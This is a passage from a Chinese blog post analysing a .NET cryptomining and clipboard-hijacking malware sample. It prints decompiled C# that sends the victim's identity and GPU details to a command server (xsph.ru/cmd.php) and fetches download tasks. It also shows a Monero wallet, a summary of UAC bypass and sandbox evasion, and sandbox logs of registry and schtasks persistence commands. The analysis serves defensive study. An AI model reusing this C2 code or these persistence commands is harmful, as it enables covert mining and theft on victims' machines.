            {
                WebRequest webRequest = WebRequest.Create(url);
                webRequest.Credentials = CredentialCache.DefaultCredentials;
                ((HttpWebRequest)webRequest).UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0";
                StreamReader streamReader = new StreamReader(webRequest.GetResponse().GetResponseStream());
                result = streamReader.ReadToEnd();
            }
            catch
            {
                result = null;
            }
            return result;
        }
 
        // Token: 0x06000023 RID: 35 RVA: 0x00003338 File Offset: 0x00001538
        public static string[] getTasks()
        {
            int num = 0;
            ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("select AdapterRAM from Win32_VideoController");
            foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
            {
                ManagementObject managementObject = (ManagementObject)managementBaseObject;
                uint? num2 = managementObject.Properties["AdapterRAM"].Value as uint?;
                if (num2 != null)
                {
                    num = (int)(num2 / 1048576U).Value;
                }
            }
            int num3 = num / 1024;
            string text = "";
            using (ManagementObjectSearcher managementObjectSearcher2 = new ManagementObjectSearcher("select * from Win32_VideoController"))
            {
                foreach (ManagementBaseObject managementBaseObject2 in managementObjectSearcher2.Get())
                {
                    ManagementObject managementObject2 = (ManagementObject)managementBaseObject2;
                    text = text + managementObject2["Name"].ToString() + "; ";
                }
            }
            string text2 = "";
            if (num3 > 4)
            {
                text2 = " | ETC";
            }
            if (num3 > 8)
            {
                text2 = " | ETH";
            }
            string[] array = Host.get(string.Concat(new object[]
            {
                Host.adm,
                "?hwid=",
                WindowsIdentity.GetCurrent().Name,
                "&gpuname=",
                text,
                "&mining=",
                num3,
                "&active=XMR",
                text2
            })).Split(new char[]
            {
                '|'
            });
            string[] array2 = new string[array.Length];
            int num4 = 0;
            foreach (string text3 in array)
            {
                try
                {
                    string[] array4 = text3.Split(new char[]
                    {
                        ';'
                    });
                    string text4 = array4[0].Equals("Update") ? "upd" : "dwl";
                    string text5 = array4[1];
                    string text6 = array4[2];
                    array2[num4] = string.Concat(new string[]
                    {
                        text4,
                        ";",
                        text5,
                        ";",
                        text6
                    });
                }
                catch (Exception)
                {
                }
                num4++;
            }
            return array2;
        }
 
        // Token: 0x0400001B RID: 27
        private static string adm = "http://f0702521.xsph.ru/cmd.php";
    }
}

  

好了,使用GPT4综合分析下:

1. config 类:这个类主要用于存储配置信息,包括各种钱包地址、矿池地址、工作名、互斥量、文件名、注册名等。这些配置信息可能会被其他类或方法使用。

 
internal class config
{
    public static string moneroUsage = "25";
    public static string moneroWallet = "8BEkM3VeZHUQgFevjUBjpYKHKtfbMS9xKMEnWezdD2Rp4BAcsASXFPV6sWYbDU3N1jgPcERvcqUSfLtD6EQiR3AtB2LGDjj";
    // 其他配置信息...
}
 

2. Host 类:这个类主要用于网络请求和获取系统信息。get 方法用于发送网络请求并获取响应,getTasks 方法用于获取系统的显卡信息和挖矿任务。

 
internal class Host
{
    public static string get(string url)
    {
        // 发送网络请求并获取响应...
    }
 
    public static string[] getTasks()
    {
        // 获取系统的显卡信息和挖矿任务...
    }
    private static string adm = "http://f0702521.xsph.ru/cmd.php";
}
 

总的来说,这两个类可能是某种挖矿软件的一部分,用于配置挖矿参数和执行挖矿任务!

 

Program 类是一个主程序类,它包含了一些方法用于执行特定的操作。这个类可能是某种恶意软件的一部分,具体功能如下:

1. UMutexAC 方法:创建一个互斥量,用于防止程序的多个实例同时运行。

2. Defolt 方法:尝试以管理员权限运行程序。

3. Main 方法:这是程序的入口点,它执行了一系列的操作,包括删除和复制文件,创建互斥量,检查是否有管理员权限,如果没有则创建计划任务以获取权限,检查是否在沙箱或调试器中运行,如果是则退出,启动挖矿进程,检查剪贴板中的内容,如果是特定格式的地址则替换为预设的地址。

4. Powershell 方法:执行Powershell命令。

5. UAC 方法:尝试绕过用户账户控制(UAC),获取管理员权限。

6. AlwaysNotify 类:检查系统的UAC设置,如果设置为总是通知,则退出程序。

7. Clipboard 类:获取和设置剪贴板的内容。

8. PE 类:执行PE文件的加载和运行。


看下微步沙箱的结果:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
共分析了23个进程
1b3adf.exe
(PID:3260)
"C:\tmpejxdxt\1b3adf.exe"
powershell.exe
(PID:3436)
"powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'winupdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'winupdate' -Value '"C:\Users\Admin\AppData\Roaming\Windows\winupdate.exe"' -PropertyType 'String'
opersystem.exe
(PID:3592)
"C:\Users\Admin\AppData\Roaming\Windows\opersystem.exe"
wscript.exe
(PID:3704)
"C:\Windows\System32\WScript.exe" "C:\Portnet\9LUf7xQNOlUBbNUxzKuIYqFs7hpLD.vbe"
cmd.exe
(PID:3864)
C:\Windows\system32\cmd.exe /c ""C:\Portnet\GkY25ZfqKtEhI7it2.bat" "
Agentprovidercomponent.exe
(PID:3940)
"C:\Portnet\Agentprovidercomponent.exe"
schtasks.exe
(PID:2296)
schtasks.exe /create /tn "1b3adf1" /sc MINUTE /mo 10 /tr "'C:\py\1b3adf.exe'" /f
schtasks.exe
(PID:2524)
schtasks.exe /create /tn "1b3adf" /sc ONLOGON /tr "'C:\py\1b3adf.exe'" /rl HIGHEST /f
schtasks.exe
(PID:2692)
schtasks.exe /create /tn "1b3adf1" /sc MINUTE /mo 14 /tr "'C:\py\1b3adf.exe'" /rl HIGHEST /f
schtasks.exe
(PID:2944)
schtasks.exe /create /tn "WeChatW" /sc MINUTE /mo 6 /tr "'C:\Windows\Tasks\WeChat.exe'" /f
schtasks.exe
(PID:2888)
schtasks.exe /create /tn "WeChat" /sc ONLOGON /tr "'C:\Windows\Tasks\WeChat.exe'" /rl HIGHEST /f
schtasks.exe
(PID:3048)
schtasks.exe /create /tn "WeChatW" /sc MINUTE /mo 8 /tr "'C:\Windows\Tasks\WeChat.exe'" /rl HIGHEST /f
schtasks.exe
(PID:2348)
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft.NET\lsm.exe'" /f
schtasks.exe
(PID:3388)
schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Program Files\Microsoft.NET\lsm.exe'" /rl HIGHEST /f
1b3adf.exe
(PID:3556)
C:\py\1b3adf.exe
schtasks.exe
(PID:3740)
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft.NET\lsm.exe'" /rl HIGHEST /f
WeChat.exe
(PID:3516)
C:\Windows\Tasks\WeChat.exe
schtasks.exe
(PID:3796)
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\py\cmd.exe'" /f
schtasks.exe
(PID:856)
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\py\cmd.exe'" /rl HIGHEST /f
schtasks.exe
(PID:2440)
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\py\cmd.exe'" /rl HIGHEST /f
schtasks.exe
(PID:2488)
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\py\Idle.exe'" /f
lsm.exe
(PID:2984)
"C:\Program Files\Microsoft.NET\lsm.exe"
schtasks.exe
(PID:2856)
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\py\Idle.exe'" /rl HIGHEST /f

 

追下 该PE文件的来源:  

 

 就是下面的出处了:

 

1
2
3
4
5
6
7
8
9
10
11
// Token: 0x06004272 RID: 17010 RVA: 0x000F61C0 File Offset: 0x000F43C0
        [SecuritySafeCritical]
        public static Assembly GetEntryAssembly()
        {
            AppDomainManager appDomainManager = AppDomain.CurrentDomain.DomainManager;
            if (appDomainManager == null)
            {
                appDomainManager = new AppDomainManager();
            }
            return appDomainManager.EntryAssembly;
        }

  

 

posted @   bonelee  阅读(401)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2022-08-23 tls1.3 可以看到client hello所有内容,还有一半的server hello,是看不到证书issuer、subject等信息的
2018-08-23 ARIMA模型——本质上是error和t-?时刻数据差分的线性模型!!!如果数据序列是非平稳的,并存在一定的增长或下降趋势,则需要对数据进行差分处理!ARIMA(p,d,q)称为差分自回归移动平均模型,AR是自回归, p为自回归项; MA为移动平均,q为移动平均项数,d为时间序列成为平稳时所做的差分次数
点击右上角即可分享
微信分享提示